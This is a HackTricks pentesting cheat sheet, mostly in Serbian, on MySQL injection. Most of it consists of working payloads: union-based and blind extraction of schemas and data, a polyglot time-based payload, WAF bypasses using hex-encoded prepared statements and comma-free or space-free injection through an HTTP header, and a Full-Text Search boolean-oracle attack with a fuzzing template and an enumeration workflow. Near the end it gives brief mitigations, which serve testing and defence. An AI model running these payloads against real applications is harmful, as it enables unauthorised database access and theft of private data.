MySQL injection

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Komentari

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Zanimljive funkcije

Potvrdi Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Korisne funkcije

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Sve injection

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

iz https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Tok

Imaj na umu da u "modernim" verzijama MySQL možeš zameniti "information_schema.tables" za "mysql.innodb_table_stats" (Ovo može biti korisno za zaobilaženje WAFs).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Samo 1 vrednost

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Otkrivanje broja kolona

Korišćenjem jednostavnog ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Saznajte ovde različite opcije za abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Izvršavanje upita kroz Prepared Statements

Kada su stacked queries dozvoljene, moguće je pokušati zaobići WAFs dodeljivanjem promenljivoj hex reprezentacije upita koji želite izvršiti (korišćenjem SET), a zatim upotrebom PREPARE i EXECUTE MySQL statements da biste na kraju izvršili upit. Nešto ovako:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Za više informacija pogledajte this blog post.

Alternative za Information_schema

Imajte na umu da u "modernim" verzijama MySQL možete zameniti information_schema.tables sa mysql.innodb_table_stats ili sa sys.x$schema_flattened_keys ili sa sys.schema_table_statistics

MySQLinjection bez zareza

Selektovanje 2 kolone bez korišćenja zareza (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Preuzimanje vrednosti bez imena kolone

Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona u tabeli, možete pokušati da otkrijete koliko kolona ima izvršavanjem nečega poput:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Pretpostavljajući da postoje 2 kolone (prva je ID, a druga flag), možete pokušati bruteforce sadržaj flag-a karakter po karakter:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Više informacija na https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Neke aplikacije sanitizuju ili parsiraju korisnički unos funkcijama kao što su sscanf("%128s", buf) koje prestaju na prvom karakteru razmaka. Pošto MySQL tretira sekvencu /**/ kao komentar i kao whitespace, može se koristiti da potpuno ukloni normalne razmake iz payload-a, istovremeno zadržavajući upit sintaksno validnim.

Primer time-based blind injection koji zaobilazi filter za razmake:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Koju baza podataka prima kao:

sql
' OR SLEEP(5)-- -'

Ovo je posebno korisno kada:

  • Kontrolisani buffer je ograničen veličinom (npr. %128s) i razmaci bi prerano prekinuli unos.
  • Injektovanje kroz HTTP headers ili druga polja gde su normalni razmaci uklonjeni ili se koriste kao separatori.
  • U kombinaciji sa INTO OUTFILE primitivama da se ostvari potpuni pre-auth RCE (vidi sekciju MySQL File RCE).

MySQL istorija

Možete videti druga izvršavanja unutar MySQL-a čitanjem tabele: sys.x$statement_analysis

Alternativne verzije

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Ovo nije klasičan SQL injection. Kada developeri proslede korisnički unos u MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL izvršava bogat skup Boolean search operatora unutar navodnika. Mnoge WAF/SAST pravila se fokusiraju samo na prekid navodnika i promaše ovu površinu.

Key points:

  • Operatori se procenjuju unutar navodnika: + (mora da sadrži), - (ne sme da sadrži), * (trailing wildcard), "..." (tačna fraza), () (grupisanje), </>/~ (težine). Pogledajte MySQL dokumentaciju.
  • Ovo omogućava testove prisustva/odsutnosti i testove prefiksa bez izlaska iz string literala, npr. AGAINST('+admin*' IN BOOLEAN MODE) da se proveri bilo koji termin koji počinje sa admin.
  • Koristan za izgradnju orakula kao što su “da li bilo koji red sadrži termin sa prefiksom X?” i za enumeraciju skrivenih stringova putem proširenja prefiksa.

Example query built by the backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Ako aplikacija vraća različite odgovore u zavisnosti od toga da li je result set prazan (npr. redirect vs. error message), to ponašanje postaje Boolean oracle koji se može koristiti za enumeraciju privatnih podataka kao što su skrivene/obrisane naslovi.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: ako backend skraćuje 1–2 završna karaktera po reči putem regex-a kao (\b.{1,2})(\s)|(\b.{1,2}$), pošaljite prefix*ZZ. čistač ukloni ZZ ali ostavi *, tako da prefix* preživi.
  • Early-break stripping: ako kod uklanja operatore po reči ali prestane sa obradom kada naiđe na bilo koji token sa dužinom ≥ min length, pošaljite dva tokena: prvi je junk token koji zadovoljava prag dužine, drugi nosi operator payload. Na primer: &&&&& +jack*ZZ → nakon čišćenja: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 je &, %2B je +. Završni xD (ili bilo koja dva slova) se obrezuje od strane cleaner-a, pri čemu se čuva {FUZZ}*.
  • Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.

Enumeration workflow:

  1. Počnite sa {FUZZ} = a…z,0…9 da biste pronašli first-letter matches putem +a*, +b*, …
  2. Za svaki pozitivni prefiks, granajte se: a* → aa* / ab* / …. Ponavljajte da biste rekonstruisali ceo string.
  3. Distribuirajte zahteve (proxies, multiple accounts) ako aplikacija nameće flood control.

Why titles often leak while contents don’t:

  • Neke aplikacije primenjuju provere vidljivosti tek nakon preliminarnog MATCH na titles/subjects. Ako control-flow zavisi od ishoda “any results?” pre filtriranja, dešavaju se existence leaks.

Mitigations:

  • Ako vam ne treba Boolean logika, koristite IN NATURAL LANGUAGE MODE ili tretirajte korisnički unos kao literal (escape/quote onemogućava operatore u drugim modovima).
  • Ako je Boolean mode neophodan, uklonite ili neutralizujte sve Boolean operatore (+ - * " ( ) < > ~) za svaki token (bez ranih prekida) nakon tokenizacije.
  • Primenite visibility/authorization filtre pre MATCH, ili ujednačite odgovore (konstantno vreme odziva/status) kada je result set prazan naspram nepraznog.
  • Pregledajte analogne funkcije u drugim DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS takođe parse-uju operatore unutar quoted argumenata.

Notes:

  • Prepared statements ne štite od semantičke zloupotrebe REGEXP ili search operators. Unos poput .* ostaje permisivan regex čak i unutar quoted REGEXP '.*'. Koristite allow-lists ili eksplicitne garde.

Ostali MYSQL injection vodiči

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks